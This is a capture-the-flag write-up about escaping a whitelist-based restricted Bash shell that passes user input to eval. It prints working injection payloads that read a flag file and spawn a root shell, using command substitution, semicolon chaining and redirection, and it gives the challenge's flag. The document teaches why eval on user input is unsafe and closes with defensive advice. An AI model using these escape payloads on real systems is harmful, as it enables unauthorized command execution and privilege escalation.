Bash Jail

Challenge Description

This terminal operates in restricted mode. Contact your handler if you require elevated access.

nc jail.strayerraptors.com 30001

We're dropped into a custom restricted shell.

Reading the Jail

The shell presents a prompt and accepts input. Unlisted commands return bash: <cmd>: command not found.

agent@deadrop:~$ python3
bash: python3: command not found

agent@deadrop:~$ /bin/bash
bash: /bin/bash: command not found

agent@deadrop:~$ help
Available commands:
  echo    - print text
  pwd     - print working directory
  whoami  - print current user
  id      - print user identity
  ls      - list directory contents
  read    - read input into variable
  help    - show this message
  exit    - disconnect

The Vulnerability

eval "$input" executes the entire input as a shell expression. Bash expands $() subshells, processes semicolons, and handles redirections before the result is evaluated. The whitelist check on cmd is already done by the time any of this happens.

This means:

# cmd = "echo" → allowed ✓
# eval runs: echo $(cat /flag.txt)
# Bash expands $() first → substitutes output of cat /flag.txt
# echo prints it

echo $(cat /flag.txt)

The whitelisted command is just a prefix, everything after it runs freely.

Three Escape Paths

Subshell via echo:

agent@deadrop:~$ echo $(cat /flag.txt)
DEADROP{bash_jail_more_like_bash_speedbump}

cmd = echo (allowed), but the subshell $(cat /flag.txt) runs cat regardless of whether it's whitelisted because bash expands it before eval sees it.

Full shell escape:

agent@deadrop:~$ echo $(/bin/bash)
root@864299609eb0:/#

This drops into a full interactive shell. From there, nothing is restricted.

Read into variable:

agent@deadrop:~$ read x < /flag.txt; echo $x
DEADROP{bash_jail_more_like_bash_speedbump}

The semicolon chains a second command. read is whitelisted, and the redirect and chain execute freely under eval.

Key Takeaways

1. eval on user input is almost never safe. The moment you call eval "$user_input", you've handed the user the keys. Bash will expand subshells, process redirections, chain commands with ; and && and ||, and follow any number of other expansion rules before anything is "executed." A first-token whitelist stops nothing.

2. Restricted shells require a restricted interpreter. The correct way to implement a restricted shell is to use bash's own --restricted / -r mode, or to use rbash, which actually prevents redirections, cd, and PATH modification at the interpreter level not at the script level. Script-level restrictions are trivially bypassed.

Flag

DEADROP{bash_jail_more_like_bash_speedbump}